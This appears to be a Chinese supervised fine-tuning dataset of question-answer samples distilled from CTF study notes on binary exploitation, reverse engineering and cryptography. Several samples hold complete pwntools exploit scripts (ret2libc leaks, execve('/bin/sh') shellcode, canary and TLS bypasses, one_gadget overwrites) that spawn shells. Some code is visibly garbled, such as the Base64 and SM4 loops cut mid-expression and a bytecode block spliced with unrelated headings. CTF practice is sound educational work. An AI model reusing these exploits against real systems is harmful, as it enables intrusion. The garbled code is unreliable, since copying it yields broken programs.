    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Base64》的“代码实现”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Base64 / 代码实现
关键词：current、base64、unsigned、table、data、const、length、break、encode、ABCDEFGHIJKLMNOPQRSTUVWXYZ
可用于训练的标准回答：
### 代码实现

```c
//定义一个常量指针指向一个常量字符串
const char * const table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

//data是用于指向需要编码的常量数据的指针
//base64指针指向一块内存用于存储编码后的basse64字符串
//length是输入数据的长度
char * encode( const unsigned char * data, char * base64, int length )
{
    //用于遍历输入数据和base64字符
    int i, j;

//用于存储当前处理的字符
    unsigned char current;

//循环遍历输入数据，每次处理3个字节
    for ( i = 0, j = 0 ; i > 2) ;

//与0x3f进行按位与操作，取字节前6位
		//0x3f=00111111
        current &= (unsigned char)0x3F;

//使用编码表数组将结果映射为base64字符，并将结果存储在输出指针中
        base64[j++] = table[(int)current];

//将第一个字节左移4位，与0x30按位与，取其后2位
	    //0x30=00110000
        current = ( (unsigned char)(data[i] = length )
        {
            base64[j++] = table[(int)current];
            base64[j++] = '=';
            base64[j++] = '=';
            break;
        }

//第二个字节右移4位，取其前4位，与之前第一个字节后两位合并
        //00110000
        //或
        /...

Base64


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《UPX 脱壳详解》中“UPX工具脱壳”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《UPX 脱壳详解》的“UPX工具脱壳”。
语言/类型：shell
关联知识点：
- 直接使用 UPX 脱壳工具进行脱壳
- 例题：[SWPUCTF 2023 秋季新生赛]UPX
- exeinfo 查看发现有 UPX 壳。
- 直接使用`upx -d`命令进行脱壳。
- 可以看到脱壳成功。
代码片段：
```shell
#exe文件
upx -d demo.exe
#elf文件
upx -d demo
```

UPX 脱壳详解


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《RSA与大数运算》的“乘法逆元”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：RSA与大数运算 / 乘法逆元（第 1 段）
关键词：mod、times、equiv、pmod、通过扩展欧几里得算法
蒸馏要点：
- 乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。
- 在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：
- a×a−1≡1(mod\ p)a \times a^{-1} \equiv 1 \pmod{p}a×a−1≡1(mod\ p)
- 其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。
- 如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。
- 在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：
- $a×a^{(-1)}=1$
可用于训练的标准回答：
### 乘法逆元

乘法逆元是指在某个数学结构中（如有限域）能“逆转”某个数，使得该数与它的逆元相乘得到 1。在有限域（特别是在模运算下），任何非零元素都有一个乘法逆元。

在有限域 $GF(p)$ 中，若 $a$ 是一个非零元素，那么它的乘法逆元 $a^{-1}$ 满足：
$$
a×a−1≡1(mod\ p)a \times a^{-1} \equiv 1 \pmod{p}a×a−1≡1(mod\ p)
$$
其中 $p$ 是素数，因此该乘法逆元是存在的，并且可以通过扩展欧几里得算法来求解。

如果我们有一个数$x$，它的乘法逆元是另一个数$y$，使得$x$乘以$y$等于 1。换句话说，如果我们有$xy=1$，那么$y$就是$x$的乘法逆元。

在有限域中，情况稍微复杂一些，但基本思想是相同的。有限域中的每个非零元素都有一个乘法逆元。具体地说，对于有限域中的元素$a$，它的乘法逆元记作$a^{(-1)}$，满足以下条件：

$a×a^{(-1)}=1$

换句话说，$a$乘以它的乘法逆元等于 1 。

以有限域$GF(p)$为例，其中$p$是素数。在这样的有限域中，对于任意非零元素$a$，它的乘法逆元可以通过求解下面的方程来得到：

$a×a^{(-1)}=1(mod\ p)$

这里的$mod\ p$表示对$p$取模。求解这个方程，就能找到$a$的乘法逆元$a^{(-1)}$。

- 例：

RSA与大数运算


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“ezheap”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. libc2.31,保护全开，没有UAF也没有off-by-one/null，但是注意到edit函数很特别，可以任意地址写入 666666 这个数字
2. 第一个思路显然是修改sizelist，但是想起来就算修改了size也不能edit来布置堆，同时这个开启了pie更不行。libcbase和heapbase还是很好泄露的
3. 这个任意地址写也不是任意值，而是666666这个数字，于是想到了mp_结构体，这样可以扩展tcache，然后通过delete(0)然后再add就可以编辑tcache，这时候就可以写入free_hook，然后打free_hook来getshell

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《VM 指令虚拟化》中“解释器编写”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《VM 指令虚拟化》的“解释器编写”。
语言/类型：c
关联知识点：
- 现在就可以实现每条指令的 handle 以及 dispatcher 了：
代码片段：
```c
int vm_run(VM* vm){
	char opcode;
	char operand_1,operand_2;

	while(1){
		opcode=vm->code[vm->eip];
		switch(opcode){
		case 0x10:
			operand_1=vm->code[vm->eip+1];
			vm->r1=operand_1;
			vm->eip+=2;
			break;
		case 0x11:
			operand_1=vm->code[vm->eip+1];
			vm->r2=operand_1;
			vm->eip+=2;
			break;
		case 0x20:
			operand_1=vm->code[vm->eip+1];
			operand_2=vm->code[vm->eip+2];
			vm->mem[operand_1]=operand_2;
			vm->eip+=3;
			break;
		case 0x30:
			vm->mem[vm->r1]^=vm-r2;
			vm->eip+=1;
			break;
		case 0x40:
			scanf("5%s",&vm->mem[0]);
			vm->eip+=1;
			break;
		case 0x50:
			operand_1=vm->code[vm->eip+1];
			operand_2=vm->code[vm->eip+2];
			return memcmp(&vm->mem[0],&vm->mem[operand_1],operand_2);
		}
	}
}
```

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“爆破canary”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 不同编译器编译出来的程序`canary`位置可能不同，比如对于ubuntu来说：使用gcc编译出来的32位程序`canary`会被写在`ebp-0xc`，64位程序则在`rbp-0x8`，后者的`canary`才和栈底相邻。
2. 对于Canary，虽然每次进程重启后Canary不同，但是同一个进程中的不同线程的Cannary是相同的，并且通过fork函数创建的子进程中的canary也是相同的，因为fork函数会直接拷贝父进程的内存。
3. 最低位为0x00，之后逐次爆破，如果canary爆破不成功，则程序崩溃；爆破超过则程序进行下面的逻辑。由此可判断是否成功。
4. 我们可以利用这样的特点，彻底逐个字节将Canary爆破出来。
5. 爆破canary的通用模板：

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“铁人三项(第五赛区) 2018rop”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“铁人三项(第五赛区) 2018rop”。
语言/类型：python
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
context.arch=elf.arch

off=0x8c
payload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got["write"])+p32(0x20)
sl(payload)
write=u32(r(4))
print(hex(write))
libc=LibcSearcher("write",write)
base=write-libc.dump("write")
sh=base+libc.dump("str_bin_sh")
sys=base+libc.dump("system")
pay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)
r()
sl(pay)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“执行 state”？请用《Angr：Angr符号执行》中的内容回答。

[Assistant]
1. 如何从一个 state ，通过符号执行，得到新的 state 呢？
2. 最简单的方法是通过单步执行的形式，来得到当前 state 经过符号执行所产生的新的 state，只需要调用 `state.step()` 函数就能执行一个基本块的所有指令。

Angr：Angr符号执行


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pyc：pyc文件》中“while 循环”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pyc：pyc文件》的“while 循环”。
关联知识点：
- print(code.co_code[:6].hex()) #710471067102
代码片段：
```
1：
0 LOAD_CONST               0 (0)
2 STORE_NAME               0 (i)

2：
4 LOAD_NAME                0 (i)
6 LOAD_CONST               1 (10)
8 COMPARE_OP               0 (2024极客大挑战 奇怪的RC4

>2024极客大挑战 好像是python?

>[羊城杯 2020]Bytecode

>DASCTF 2020 pycode

>DASCTF ezpython

>VNCTF2022 BabyMaze

第一条指令会跳转到 4，然后 4 会跳转到 2，之后 2 又会跳转到 6，最后从 6 开始正常执行。

所以可以判断这是花指令

定位花指令：
```

Pyc：pyc文件


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[GDOUCTF 2023]真男人下120层”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[GDOUCTF 2023]真男人下120层”。
语言/类型：python
代码片段：
```python
from pwn import *
from ctypes import *
context.log_level='debug'
#io = process('./bin')
io=remote("node4.anna.nssctf.cn",28765)

lib = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand=lib.srand(lib.time(0))
srand=lib.srand(srand%3-1522127470)
io.recvuntil('Floor')
for i in range(121):
    io.sendline(str(lib.rand()%4+1).encode())

io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“[SWPUCTF 2022 新生赛]Darling”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / [SWPUCTF 2022 新生赛]Darling
关键词：再通过逻辑构造exp、SWPUCTF、include、gift、elf、pay、Darling、srand、rand、printf
蒸馏要点：
- 通过编写c程序复现伪随机数
- 再通过逻辑构造exp
可用于训练的标准回答：
### [SWPUCTF 2022 新生赛]Darling

#变量覆盖 #伪随机数

通过编写c程序复现伪随机数

```c
#include
#include

int main(){
  srand(0x1317e53u);
  int v=rand()%100-64;
  printf("%d\n",v);
  return 0;
}
```

再通过逻辑构造exp

```python
#!/usr/bin/python3
from pwncli import *

cli_script()

io=gift["io"]
elf=gift["elf"]

pay=b"17"

sa("you.\n",pay)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“实现”？请用《SMC自修改代码》中的内容回答。

[Assistant]
1. 环境为 Linux 系统环境 gcc 编译器
2. 下面我们通过实现简单的 SMC 代码来理解其原理。
3. 我们编写一段 C 语言代码，在其中插入汇编代码，功能为输出字符串。
4. 进行编译后，将`func`函数部分的字节码进行`xor 0xAA`加密，然后作为我们要解密的函数。
5. 接下来我们编写 SMC 代码，将加密后的函数字节码作为数据插入到代码中。
6. 加密算法为`xor`，异或值是`0xAA`，同样解密算法也是`xor`。

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“2025hgame FORMAT”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / 2025hgame FORMAT
关键词：lambda、data、text、num、elf、RELRO、PIE、libc、sla、recv
蒸馏要点：
- 搜索 gadget：
- main 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。
- vuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。
- 通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。
可用于训练的标准回答：
## 2025hgame FORMAT

查保护：

```
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
```

搜索 gadget：

仅仅只有两个。

```
Gadgets information
============================================================
0x000000000040119d : pop rbp ; ret
0x000000000040101a : ret
```

main 函数部分存在一个格式化字符串漏洞，但是只能格式化字符串最多只能为 3 个字符，所以这里无法泄露 libc。仅仅可以泄露栈上固定数据。

vuln 函数部分存在栈溢出，read 的长度是通过`a1`参数控制的，我们可以通过在外部调用处输入 -1 来写入很大的长度。

分析汇编：

思路：

通过栈溢出劫持rbp为buf+0x10的地址，然后劫持返回地址为格式化字符串漏洞的地址，从而实现任意地址泄露，由于rdi是rbp-0x10地址的数据，我们要劫持rbp为buf+0x10的位置，从而泄露 libc 的地址。

- exp

```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
s...

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“[HNCTF 2022 WEEK3]smash”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“[HNCTF 2022 WEEK3]smash”。
语言/类型：python
关联知识点：
- 通过覆盖环境变量指针来泄露数据，仅限于低版本的libc（2.23），高版本修复了这个漏洞。
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

payload=cyclic(504)+p64(0x404060)
r()
s(payload)
ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《花指令：原理：反汇编算法的设计缺陷》中“脚本清除花指令”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“脚本清除花指令”。
关联知识点：
- 除汇编指令共用之外，上面有3个类别花指令 ida 无法正常识别
- 互补条件跳转（比较好处理）
- 永真条件跳转（各种永真条件比较难匹配）
- call&ret跳转（比较难处理）
- 所以就只对第一种`jnx`和`jx`的花指令进行自动化处理
代码片段：
```
70  JO(O标志位为1跳转)
71  JNO
72  JB/JNAE/JC
73  JNB/JAE/JNC
74  JZ/JE
75  JNZ/JNE
76  JBE/JNA
77  JNBE/JA
78  JS
79  JNS
7A  JP/JPE
7B  JNP/JPO
7C  JL/JNGE
7D  JNL/JGE
7E  JLE/JNG
7F  JNLE/JG
```

花指令：原理：反汇编算法的设计缺陷


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“2025湾区杯-oddcanary”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“2025湾区杯-oddcanary”。
语言/类型：python
关联知识点：
- canary绕过
- 分析发现`init_array`字段有函数注册，这样的话函数会在程序启动后先执行。
- 将`ctfer`复制到`name`全局变量，然后将一段字符串复制到`bss`字段。
- 分析程序将 0x28 字节读到 buf，然后在`buf[read_len]`位置写入一个 8 字节的 10。然后将puts的got表复制到bss段。
- 这样会导致在第二次执行`good_news`函数时，就会将`bss`段的`puts`的 got 表打印出来。
代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
ia = lambda: io.interactive()
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('odd_canary')
libc=ELF("./libc.so.6")
io=process(elf.path)
context(os=elf.os, arch=elf.arch, log_level='debug')

sla(b' (good/vuln/exit): ', b'good')
sla(b'your name first:\n', b'1' * 0x20)

sla(b' (good/vuln/exit): ', b'good')
sla(b'I will tell you good news,' + b'1' * 0x20, '')

leak = uu64()
libc_base = leak - libc.sym.puts
lg('libc_base', libc_base)
sla(b'your name first:\n', b'1' * 0x20)

sla(b' (good/vuln/exit): ', b'vuln')
sla(b'Enter your payload: \n', b'execaaaa' + p64(0) * 5 + p64(0x404220) + p64(libc_base + 0xebd43))

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《VM 指令虚拟化》中“VM虚拟机的结构”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《VM 指令虚拟化》的“VM虚拟机的结构”。
语言/类型：c
关联知识点：
- 虚拟机的主程序其实就是一个循环，这个循环不断的去读取指令（伪机器码opcode），然后执行指令 opcode 所对应的一些函数，这样下来就可以与真实的程序执行相差无几。
- 通常，一个虚拟机会包含以下几个主要组件：
- `vm_init`：对虚拟机的环境进行初始化；
- `dispatcher`：指令分发器，用于解释`opcode`，取指并分发，也就是读取opcode并根据opcode选择对应的 “伪指令” 进行执行，执行完一条之后会重新回到这里，读取接下来的opcode再次取指并分发。
- 程序中还会存在opcode以及模拟的栈，寄存器等。
代码片段：
```c
#include

int main(){
	printf("Hello,World\n");
	return 0;
}
```

VM 指令虚拟化


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《AES》的“脚本”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。

[Assistant]
出处：AES / 脚本（第 1 段）
关键词：AES、MIX_C、class、I_MIXC、RCon、S_BOX、0x01000000、0x02000000、0x04000000、0x08000000
蒸馏要点：
- AES 换表解密脚本。
可用于训练的标准回答：
## 脚本

AES 换表解密脚本。

```python
class AES:

MIX_C  = [[0x2, 0x3, 0x1, 0x1], [0x1, 0x2, 0x3, 0x1], [0x1, 0x1, 0x2, 0x3], [0x3, 0x1, 0x1, 0x2]]
    I_MIXC = [[0xe, 0xb, 0xd, 0x9], [0x9, 0xe, 0xb, 0xd], [0xd, 0x9, 0xe, 0xb], [0xb, 0xd, 0x9, 0xe]]
    RCon   = [0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000, 0x1B000000, 0x36000000]

S_BOX = [[124, 202, 123, 119, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 71, 171],
             [118, 99, 130, 201, 125, 250, 89, 240, 173, 212, 162, 175, 156, 164, 114, 192],
             [183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21],
             [4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117],
             [9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132],
             [83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207],...

AES


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“ciscn2019c1”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Pwn：Stack / ciscn2019c1
关键词：p64、elf、puts_addr、puts、Input、your、libc、rdi、libc_base、dump
可用于训练的标准回答：
### ciscn2019c1

#ret2libc

- exp

```python
#!/usr/bin/env python3
from pwncli import *
from LibcSearcher import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

main=0x4009a0
rbx_rbp=0x0000000000400aec
rdi=0x0000000000400c83
rsi_r15=0x0000000000400c81
ret=0x00000000004006b9
off=0x58

payload=b'a'*off+p64(rdi)+p64(elf.got["puts"])+p64(elf.plt.puts)+p64(elf.sym["main"])
ru("Input your choice!\n")
sl(b"1")
ru("Input your Plaintext to be encrypted\n")
sl(payload)
puts_addr=u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
success("puts_addr -> {:#x}".format(puts_addr))

libc=LibcSearcher("puts",puts_addr)
libc_base=puts_addr-libc.dump("puts")
sh=libc_base+libc.dump("str_bin_sh")
sys=libc_base+libc.dump("system")
pay=b'a'*0x58+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
ru(b"Input your choice!\n")
sl(b"1")
ru(b"Input your Plaintext to be encrypted\n")
sl(pay)

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《SMC自修改代码》中“内存权限修改”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《SMC自修改代码》的“内存权限修改”。
语言/类型：c
关联知识点：
- 在不同的系统中定义有不同的 API 函数来修改内存权限。
- 在 Linux 系统中，可以通过`mprotect`函数修改目标内存的权限。
- `mprotect`是 Linux 系统的一个 API 函数，可以改写内存权限。这个函数的原型如下：
- 第一个参数：开始地址（为了页对齐，该地址必须是一个内存页的起始地址，即页大小整数倍，1 页 = 4k = 0x1000）
- 第二个参数：指定长度（长度也应该是页的整倍数，即 0x1000 的整数倍）
代码片段：
```c
int mprotect(void *addr, size_t len, int prot);
```

SMC自修改代码


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Z3》的“常量表示”部分，提炼一条适合 SFT 的中文技术讲解样本。

[Assistant]
出处：Z3 / 常量表示
关键词：val、z3、BitVecVal、bit、vector、IntVal、integer、RealVal、real、number
蒸馏要点：
- 除了 python 原有的常量数据类型外，我们也可以使用`z3`自带的常量类型参与运算：
可用于训练的标准回答：
### 常量表示

除了 python 原有的常量数据类型外，我们也可以使用`z3`自带的常量类型参与运算：

```python
>>> z3.IntVal(val = 114514) # integer
114514
>>> z3.RealVal(val = 1919810) # real number
1919810
>>> z3.BitVecVal(val = 1145141919810, bv = 32) # bit vector，自动截断
2680619074
>>> z3.BitVecVal(val = 1145141919810, bv = 64) # bit vector
1145141919810
```

Z3


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“劫持TLS”？请用《Pwn：Stack》中的内容回答。

[Assistant]
1. 在开启`canary`的情况下，当程序在线程创建线程的时候，会创建一个TLS（Thread Local Storage），这个TLS会存储canary的值，而TLS会保存在stack高地址的地方。
2. 那么，当我们溢出足够大的字节覆盖到TLS所在的地方，就可以控制TLS结构体，进而控制canary到我们想要的值，实现ROP。
3. Linux 下`fs`寄存器指向当前栈的`TLS`结构，`fs:0x28`指向的是`TLS`结构中的`stack_guard`值，如果可以覆盖位于`TLS`中的`canary`初始值就可以绕过`canary`保护。
4. `TLS`中的`canary`是可写的
5. 格式化字符串任意地址写覆盖canary
6. gyctf_2020_bfnote

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“\[GDOUCTF 2023\]Shellcode”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“\[GDOUCTF 2023\]Shellcode”。
语言/类型：python
代码片段：
```python
from pwn import *

io=process("./pwn")
context(log_level="debug",arch="amd64")
off=18
#shellcode="\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

#rsi寄存器清零
#将rsi压栈，作为字符串终止符
#将/bin/sh的十六进制编码加载到rdi寄存器
#0x68 -> h
#0x73 -> s
#0x2f -> /
#0x2f -> /
#0x6e -> n
#0x69 -> i
#0x62 -> b
#0x2f -> /
#将rdi压栈
#将当前栈指针压栈
#将栈顶弹出到rdi，即rdi指向/bin/sh字符串
#将系统调用号0x3b压栈
#将栈顶弹入rax寄存器
#cdq指令用于将eax寄存器的符号扩展到edx:eax，指令执行时eax寄存器的值符号扩展到edx寄存器
#触发系统调用
shellcode='''
xor rsi,rsi
push rsi
mov rdi,0x68732f2f6e69622f
push rdi
push rsp
pop rdi
push 0x3b
pop rax
cdq
syscall
'''
pay1=asm(shellcode)
io.sendlineafter(b'Please.\n',pay1)
pay2=b'a'*off+p64(0x6010a0)
io.sendlineafter( b"Let's start!\n",pay2)
io.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 在 CTF 学习中，如何理解“算法逻辑”？请用《SM4 算法》中的内容回答。

[Assistant]
1. int len = sm4_encrypt(key, plaintext, ciphertext);
2. // 输出加密结果
3. if (len >= 0) {
4. printf("Ciphertext (hex): ");
5. for (int i = 0; i > 24) & 0xFF];
6. s1 = SBOX[(x >> 16) & 0xFF];

SM4 算法


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 基于文章《Pwn：Stack》的“劫持TLS”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。

[Assistant]
出处：Pwn：Stack / 劫持TLS（第 2 段）
关键词：sendlineafter、your、Give、title、str、pause、send、size、invalid、please
蒸馏要点：
- p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
- p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
- p.sendlineafter("\nGive your title : ",'c'*0x10)
- p.sendlineafter("Give your note : ",p32(0xdeadbeef))
- p.send('\x40')
- p.send("/bin/sh\x00")
- p.interactive()
可用于训练的标准回答：
p.sendlineafter("Give your title size : ",str(0x5170c-0x10))
p.sendlineafter("invalid ! please re-enter :\n",str(0x18))
p.sendlineafter("\nGive your title : ",'c'*0x10)
p.sendlineafter("Give your note : ",p32(0xdeadbeef))

pause()
p.send('\x40')
pause()
p.send("/bin/sh\x00")

p.interactive()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《Pwn：Stack》中“ezstack”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《Pwn：Stack》的“ezstack”。
语言/类型：python
关联知识点：
- `main`函数会返回到`stack`函数执行，`stack`函数中存在栈溢出。
- 发现`vuln`中存在`system`函数，并且将输入的内容作为`system`函数的参数执行。
- 但是对输入的内容做了过滤，如果内容中包含`s、h、c、f `等字符则报错返回。
- 所以我们要拿到 shell，必须输入一个不被过滤的字符。
- `$0`也可以用于获取 shell。
代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

off=56
#ret用于平栈
ret=0x000000000040101a
payload=b'\x00'*off+p64(ret)+p64(elf.sym.vuln)

sl(payload)
#$0也可以获取shell
sla("command\n",b"$0")

ia()
```

Pwn：Stack


[System] 你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。

[User] 解释《暴力破解》中“标准输入”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。

[Assistant]
这段代码/命令来自《暴力破解》的“标准输入”。
语言/类型：c
关联知识点：
- import subprocess
- exe_path = './re.exe'
- table = {}
- chartable = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}="
- for i in chartable:
代码片段：
```c
#include
#include
#include

#define LEN 22
#define CHARSET "!\"#$%&'()*+,-./0123456789:;?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"

